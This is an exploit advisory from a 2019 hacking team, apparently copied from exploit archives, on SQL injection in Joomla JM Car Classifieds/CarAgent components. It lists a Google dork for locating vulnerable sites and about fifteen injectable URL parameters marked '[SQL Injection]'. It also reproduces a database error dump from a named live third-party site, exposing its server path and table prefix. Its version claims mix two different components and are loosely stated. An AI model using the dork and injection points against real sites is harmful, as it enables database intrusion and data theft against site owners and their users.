################################################################################### # Exploit Title : Joomla JM Car Classifieds CarAgent Templates 3.8.12 SQL Injection # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 25/02/2019 # Vendor Homepage : joomla-monster.com # Software Information Link : joomla-monster.com/changelogs/joomla-3-x-templates/jm-car-classifieds joomla-monster.com/joomla-templates/i/17-classifieds-advertisement/239-jm-car-classifieds # Software Affected Versions : 1.0.5 ~ From 1.3.2 To 3.8.12 ~ All Previous Versions Compatible with Joomla 2.5 and 3.x # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : inurl:''/index.php?option=com_djclassifieds'' # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos ################################################################################### # Description about Software : *************************** The hypnotizing car classifieds Joomla template for online auto classifieds website or any vehicle for sale. With this beautiful Joomla template, you will create the professional auto classified ads website for new or used cars. ################################################################################### # Impact : *********** Joomla JM Car Classifieds CarAgent Templates 3.8.12 [ and other versions ] component for Joomla is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser. ################################################################################### # SQL Injection Exploit : ********************** /index.php?option=com_caragent&task=showItem&id=[SQL Injection] /index.php?option=com_caragent&task=showItem&id=[ID-NUMBER]&Itemid=[SQL Injection] /index.php?option=com_djclassifieds&view=showitem&cid=[SQL Injection] /index.php?option=com_djclassifieds&view=showitem&cid=[ID-NUMBER]&id=[SQL Injection] /index.php?option=com_djclassifieds&view=show&uid=[SQL Injection] /index.php?option=com_djclassifieds&view=items&se=[SQL Injection]&se_regs /index.php?option=com_djclassifieds&view=show&cid=[SQL Injection]&order=category /index.php?option=com_djclassifieds&view=items&cid=[ID-NUMBER]&Itemid=[SQL Injection] /index.php?option=com_djclassifieds&view=show&layout=[SQL Injection] /index.php?option=com_djclassifieds&view=items&Itemid=[SQL Injection] /index.php?option=com_djclassifieds&view=items&cid=[ID-NUMBER]:fashion&Itemid=[SQL Injection] /index.php?option=com_djclassifieds&view=show&layout=blog&cid=[ID-NUMBER]&Itemid=[SQL Injection] /index.php?option=com_djclassifieds&view=showitem&cid=[ID-NUMBER]&id=[ID-NUMBER]&Itemid=[SQL Injection] /index.php?option=com_djclassifieds&view=items&rid=[ID-NUMBER]:[TOPIC-NAME]&Itemid=[SQL Injection]&lang=fr /index.php?option=com_djclassifieds&view=items&cid=[ID-NUMBER]&order=price&ord_t=desc&lang=es&format=feed&type=[SQL Injection] ################################################################################### # Example SQL Database Error : **************************** Strict Standards: Only variables should be assigned by reference in /home/bramab/domains/bramabeskidu.pl/public_html/agroturystyka /components/com_djclassifieds/views/item/view.html.php on line 37 DB function failed with error number 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND (type = '.jpg' OR type = '.gif' OR type = '.png') AND ordering = 1 AND pub' at line 4 SQL=SELECT * FROM jos10_caragent_images WHERE car_id = AND (type = '.jpg' OR type = '.gif' OR type = '.png') AND ordering = 1 AND publish = 1 SQL = SELECT * FROM jos10_caragent_images WHERE car_id = AND (type = '.jpg' OR type = '.gif' OR type = '.png') AND ordering = 1 AND publish = 1 ################################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ###################################################################################